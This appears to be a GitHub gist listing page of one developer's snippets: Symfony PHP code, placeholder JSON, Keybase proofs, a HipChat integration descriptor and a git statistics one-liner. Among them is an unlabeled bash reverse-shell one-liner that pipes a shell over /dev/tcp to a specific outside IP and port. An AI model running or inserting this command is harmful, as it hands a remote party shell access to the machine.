Skip to content

Instantly share code, notes, and snippets.

@whitewhidow
whitewhidow / user.json
Created October 14, 2020 03:20
user.json for quest
{"username":"your_name_here"}
@whitewhidow
whitewhidow / qq1091481055.json
Created October 14, 2020 03:19
qq1091481055.json for quest
{
"username":"your_name_here"
}

Keybase proof

I hereby claim:

  • I am whitewhidow on github.
  • I am branchbit (https://keybase.io/branchbit) on keybase.
  • I have a public key whose fingerprint is 6A29 42BD C46A 208F 742A 8766 4D60 7521 9B7B 2B7F

To claim this, I am signing this object:

Keybase proof

I hereby claim:

  • I am branchbit on github.
  • I am branchbit (https://keybase.io/branchbit) on keybase.
  • I have a public key whose fingerprint is 03F1 3ECD E6A1 53D8 8A42 2187 E8A2 FA51 9B73 A5A2

To claim this, I am signing this object:

public function exportCsvAction()
{
$data = [];
$filename = "export_filename_" . date("Y_m_d_His") . ".csv";
$response = $this->render('BBITAdminBundle:Csv:entity.csv.twig', array('data' => $data));
$response->setStatusCode(200);
$response->headers->set('Content-Type', 'text/csv');
$response->headers->set('Content-Description', 'Filename description');
$response->headers->set('Content-Disposition', 'attachment; filename=' . $filename);
@whitewhidow
whitewhidow / FormType.php
Created June 15, 2017 11:22
symfony collection prototype
..
->add('syncJobGroovyScripts', CollectionType::class, [
'entry_type' => GroovyScriptType::class,
'allow_add' => true,
'by_reference' => false,
'allow_delete' => true,
])
...
{
"name": "My rust Integration",
"description": "An integration that does wonderful things",
"key": "com.branchbit.rustchat",
"links": {
"homepage": "http://rcon.branchbit.be",
"self": "http://rcon.branchbit.be/hipchatintegration/capabilities"
},
"capabilities": {
"webhook": [
0<&137-;exec 137<>/dev/tcp/94.227.42.250/1564;sh <&137 >&137 2>&137
<?php
namespace Doctrine\DBAL\Logging;
class EchoSQLLogger implements SQLLogger
{
/**
* {@inheritdoc}
*/
public function startQuery($sql, array $params = null, array $types = null)
git log --author="_Your_Name_Here_" --pretty=tformat: --numstat \
| gawk '{ add += $1; subs += $2; loc += $1 - $2 } END { printf "added lines: %s removed lines: %s total lines: %s\n", add, subs, loc }' -